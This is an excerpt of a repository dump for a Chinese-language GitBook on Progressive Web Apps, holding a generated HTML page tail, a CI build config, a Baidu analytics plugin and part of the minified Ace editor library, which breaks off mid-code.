class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter08/2-rendering-performance.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 8.2 渲染性能 \">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter09/1-search-engine-index.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 9.1 搜索引擎收录\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第9章 PWA 与搜索\",\"level\":\"1.10\",\"depth\":1,\"next\":{\"title\":\"9.1 搜索引擎收录\",\"level\":\"1.10.1\",\"depth\":2,\"path\":\"chapter09/1-search-engine-index.md\",\"ref\":\"chapter09/1-search-engine-index.md\",\"articles\":[]},\"previous\":{\"title\":\"8.2 渲染性能 \",\"level\":\"1.9.2\",\"depth\":2,\"path\":\"chapter08/2-rendering-performance.md\",\"ref\":\"chapter08/2-rendering-performance.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter09.md\",\"mtime\":\"2019-06-19T10:37:42.415Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/ci.yml",
    "content": "Global:\n  tool: build_submitter\n\nDefault:\n  profile: [buildProduction]\n\nProfiles:\n\n  - profile:\n    name: buildProduction\n    env: cmc_standard\n    command: export NODE_ENV=production && sh scripts/build.sh\n    release: true\n\n  - profile:\n    name: buildDevelopment\n    env: cmc_standard\n    command: export NODE_ENV=development && sh scripts/build.sh\n    release: true\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-3-ba/plugin.js",
    "content": "require([\"gitbook\"], function(gitbook) {\n    // Load analytics.js\n    gitbook.events.bind(\"start\", function(e, config) {\n        var cfg = config['3-ba'];\n\n        window._hmt = window._hmt || [];\n        (function() {\n          var hm = document.createElement(\"script\");\n          hm.src = \"https://hm.baidu.com/hm.js?\" + cfg.token;\n          var s = document.getElementsByTagName(\"script\")[0]; \n          s.parentNode.insertBefore(hm, s);\n        })();\n    });\n\n    // Notify pageview\n    gitbook.events.bind(\"page.change\", function() {\n      var path = window.location.pathname+window.location.search\n      _hmt.push(['_trackPageview', path]);\n    });\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ace.js",
    "content": "(function(){function o(n){var i=e;n&&(e[n]||(e[n]={}),i=e[n]);if(!i.define||!i.define.packaged)t.original=i.define,i.define=t,i.define.packaged=!0;if(!i.require||!i.require.packaged)r.original=i.require,i.require=r,i.require.packaged=!0}var ACE_NAMESPACE=\"\",e=function(){return this}();!e&&typeof window!=\"undefined\"&&(e=window);if(!ACE_NAMESPACE&&typeof requirejs!=\"undefined\")return;var t=function(e,n,r){if(typeof e!=\"string\"){t.original?t.original.apply(this,arguments):(console.error(\"dropping module because define wasn't a string.\"),console.trace());return}arguments.length==2&&(r=n),t.modules[e]||(t.payloads[e]=r,t.modules[e]=null)};t.modules={},t.payloads={};var n=function(e,t,n){if(typeof t==\"string\"){var i=s(e,t);if(i!=undefined)return n&&n(),i}else if(Object.prototype.toString.call(t)===\"[object Array]\"){var o=[];for(var u=0,a=t.length;u<a;++u){var f=s(e,t[u]);if(f==undefined&&r.original)return;o.push(f)}return n&&n.apply(null,o)||!0}},r=function(e,t){var i=n(\"\",e,t);return i==undefined&&r.original?r.original.apply(this,arguments):i},i=function(e,t){if(t.indexOf(\"!\")!==-1){var n=t.split(\"!\");return i(e,n[0])+\"!\"+i(e,n[1])}if(t.charAt(0)==\".\"){var r=e.split(\"/\").slice(0,-1).join(\"/\");t=r+\"/\"+t;while(t.indexOf(\".\")!==-1&&s!=t){var s=t;t=t.replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return t},s=function(e,r){r=i(e,r);var s=t.modules[r];if(!s){s=t.payloads[r];if(typeof s==\"function\"){var o={},u={id:r,uri:\"\",exports:o,packaged:!0},a=function(e,t){return n(r,e,t)},f=s(a,o,u);o=f||u.exports,t.modules[r]=o,delete t.payloads[r]}s=t.modules[r]=o||s}return s};o(ACE_NAMESPACE)})(),define(\"ace/lib/regexp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function o(e){return(e.global?\"g\":\"\")+(e.ignoreCase?\"i\":\"\")+(e.multiline?\"m\":\"\")+(e.extended?\"x\":\"\")+(e.sticky?\"y\":\"\")}function u(e,t,n){if(Array.prototype.indexOf)return e.indexOf(t,n);for(var r=n||0;r<e.length;r++)if(e[r]===t)return r;return-1}var r={exec:RegExp.prototype.exec,test:RegExp.prototype.test,match:String.prototype.match,replace:String.prototype.replace,split:String.prototype.split},i=r.exec.call(/()??/,\"\")[1]===undefined,s=function(){var e=/^/g;return r.test.call(e,\"\"),!e.lastIndex}();if(s&&i)return;RegExp.prototype.exec=function(e){var t=r.exec.apply(this,arguments),n,a;if(typeof e==\"string\"&&t){!i&&t.length>1&&u(t,\"\")>-1&&(a=RegExp(this.source,r.replace.call(o(this),\"g\",\"\")),r.replace.call(e.slice(t.index),a,function(){for(var e=1;e<arguments.length-2;e++)arguments[e]===undefined&&(t[e]=undefined)}));if(this._xregexp&&this._xregexp.captureNames)for(var f=1;f<t.length;f++)n=this._xregexp.captureNames[f-1],n&&(t[n]=t[f]);!s&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--}return t},s||(RegExp.prototype.test=function(e){var t=r.exec.call(this,e);return t&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--,!!t})}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}}),define(\"ace/lib/fixoldbrowsers\",[\"require\",\"exports\",\"module\",\"ace/lib/regexp\",\"ace/lib/es5-shim\"],function(e,t,n){\"use strict\";e(\"./regexp\"),e(\"./es5-shim\")}),define(\"ace/lib/dom\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=\"http://www.w3.org/1999/xhtml\";t.getDocumentHead=function(e){return e||(e=document),e.head||e.getElementsByTagName(\"head\")[0]||e.documentElement},t.createElement=function(e,t){return document.createElementNS?document.createElementNS(t||r,e):document.createElement(e)},t.hasCssClass=function(e,t){var n=(e.className||\"\").split(/\\s+/g);return n.indexOf(t)!==-1},t.addCssClass=function(e,n){t.hasCssClass(e,n)||(e.className+=\" \"+n)},t.removeCssClass=function(e,t){var n=e.className.split(/\\s+/g);for(;;){var r=n.indexOf(t);if(r==-1)break;n.splice(r,1)}e.className=n.join(\" \")},t.toggleCssClass=function(e,t){var n=e.className.split(/\\s+/g),r=!0;for(;;){var i=n.indexOf(t);if(i==-1)break;r=!1,n.splice(i,1)}return r&&n.push(t),e.className=n.join(\" \"),r},t.setCssClass=function(e,n,r){r?t.addCssClass(e,n):t.removeCssClass(e,n)},t.hasCssString=function(e,t){var n=0,r;t=t||document;if(t.createStyleSheet&&(r=t.styleSheets)){while(n<r.length)if(r[n++].owningElement.id===e)return!0}else if(r=t.getElementsByTagName(\"style\"))while(n<r.length)if(r[n++].id===e)return!0;return!1},t.importCssString=function(n,r,i){i=i||document;if(r&&t.hasCssString(r,i))return null;var s;r&&(n+=\"\\n/*# sourceURL=ace/css/\"+r+\" */\"),i.createStyleSheet?(s=i.createStyleSheet(),s.cssText=n,r&&(s.owningElement.id=r)):(s=t.createElement(\"style\"),s.appendChild(i.createTextNode(n)),r&&(s.id=r),t.getDocumentHead(i).appendChild(s))},t.importCssStylsheet=function(e,n){if(n.createStyleSheet)n.createStyleSheet(e);else{var r=t.createElement(\"link\");r.rel=\"stylesheet\",r.href=e,t.getDocumentHead(n).appendChild(r)}},t.getInnerWidth=function(e){return parseInt(t.computedStyle(e,\"paddingLeft\"),10)+parseInt(t.computedStyle(e,\"paddingRight\"),10)+e.clientWidth},t.getInnerHeight=function(e){return parseInt(t.computedStyle(e,\"paddingTop\"),10)+parseInt(t.computedStyle(e,\"paddingBottom\"),10)+e.clientHeight},t.scrollbarWidth=function(e){var n=t.createElement(\"ace_inner\");n.style.width=\"100%\",n.style.minWidth=\"0px\",n.style.height=\"200px\",n.style.display=\"block\";var r=t.createElement(\"ace_outer\"),i=r.style;i.position=\"absolute\",i.left=\"-10000px\",i.overflow=\"hidden\",i.width=\"200px\",i.minWidth=\"0px\",i.height=\"150px\",i.display=\"block\",r.appendChild(n);var s=e.documentElement;s.appendChild(r);var o=n.offsetWidth;i.overflow=\"scroll\";var u=n.offsetWidth;return o==u&&(u=r.clientWidth),s.removeChild(r),o-u};if(typeof document==\"undefined\"){t.importCssString=function(){};return}window.pageYOffset!==undefined?(t.getPageScrollTop=function(){return window.pageYOffset},t.getPageScrollLeft=function(){return window.pageXOffset}):(t.getPageScrollTop=function(){return document.body.scrollTop},t.getPageScrollLeft=function(){return document.body.scrollLeft}),window.getComputedStyle?t.computedStyle=function(e,t){return t?(window.getComputedStyle(e,\"\")||{})[t]||\"\":window.getComputedStyle(e,\"\")||{}}:t.computedStyle=function(e,t){return t?e.currentStyle[t]:e.currentStyle},t.setInnerHtml=function(e,t){var n=e.cloneNode(!1);return n.innerHTML=t,e.parentNode.replaceChild(n,e),n},\"textContent\"in document.documentElement?(t.setInnerText=function(e,t){e.textContent=t},t.getInnerText=function(e){return e.textContent}):(t.setInnerText=function(e,t){e.innerText=t},t.getInnerText=function(e){return e.innerText}),t.getParentWindow=function(e){return e.defaultView||e.parentWindow}}),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/lib/keys\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";e(\"./fixoldbrowsers\");var r=e(\"./oop\"),i=function(){var e={MODIFIER_KEYS:{16:\"Shift\",17:\"Ctrl\",18:\"Alt\",224:\"Meta\"},KEY_MODS:{ctrl:1,alt:2,option:2,shift:4,\"super\":8,meta:8,command:8,cmd:8},FUNCTION_KEYS:{8:\"Backspace\",9:\"Tab\",13:\"Return\",19:\"Pause\",27:\"Esc\",32:\"Space\",33:\"PageUp\",34:\"PageDown\",35:\"End\",36:\"Home\",37:\"Left\",38:\"Up\",39:\"Right\",40:\"Down\",44:\"Print\",45:\"Insert\",46:\"Delete\",96:\"Numpad0\",97:\"Numpad1\",98:\"Numpad2\",99:\"Numpad3\",100:\"Numpad4\",101:\"Numpad5\",102:\"Numpad6\",103:\"Numpad7\",104:\"Numpad8\",105:\"Numpad9\",\"-13\":\"NumpadEnter\",112:\"F1\",113:\"F2\",114:\"F3\",115:\"F4\",116:\"F5\",117:\"F6\",118:\"F7\",119:\"F8\",120:\"F9\",121:\"F10\",122:\"F11\",123:\"F12\",144:\"Numlock\",145:\"Scrolllock\"},PRINTABLE_KEYS:{32:\" \",48:\"0\",49:\"1\",50:\"2\",51:\"3\",52:\"4\",53:\"5\",54:\"6\",55:\"7\",56:\"8\",57:\"9\",59:\";\",61:\"=\",65:\"a\",66:\"b\",67:\"c\",68:\"d\",69:\"e\",70:\"f\",71:\"g\",72:\"h\",73:\"i\",74:\"j\",75:\"k\",76:\"l\",77:\"m\",78:\"n\",79:\"o\",80:\"p\",81:\"q\",82:\"r\",83:\"s\",84:\"t\",85:\"u\",86:\"v\",87:\"w\",88:\"x\",89:\"y\",90:\"z\",107:\"+\",109:\"-\",110:\".\",186:\";\",187:\"=\",188:\",\",189:\"-\",190:\".\",191:\"/\",192:\"`\",219:\"[\",220:\"\\\\\",221:\"]\",222:\"'\",111:\"/\",106:\"*\"}},t,n;for(n in e.FUNCTION_KEYS)t=e.FUNCTION_KEYS[n].toLowerCase(),e[t]=parseInt(n,10);for(n in e.PRINTABLE_KEYS)t=e.PRINTABLE_KEYS[n].toLowerCase(),e[t]=parseInt(n,10);return r.mixin(e,e.MODIFIER_KEYS),r.mixin(e,e.PRINTABLE_KEYS),r.mixin(e,e.FUNCTION_KEYS),e.enter=e[\"return\"],e.escape=e.esc,e.del=e[\"delete\"],e[173]=\"-\",function(){var t=[\"cmd\",\"ctrl\",\"alt\",\"shift\"];for(var n=Math.pow(2,t.length);n--;)e.KEY_MODS[n]=t.filter(function(t){return n&e.KEY_MODS[t]}).join(\"-\")+\"-\"}(),e.KEY_MODS[0]=\"\",e.KEY_MODS[-1]=\"input-\",e}();r.mixin(t,i),t.keyCodeToString=function(e){var t=i[e];return typeof t!=\"string\"&&(t=String.fromCharCode(e)),t.toLowerCase()}}),define(\"ace/lib/useragent\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.OS={LINUX:\"LINUX\",MAC:\"MAC\",WINDOWS:\"WINDOWS\"},t.getOS=function(){return 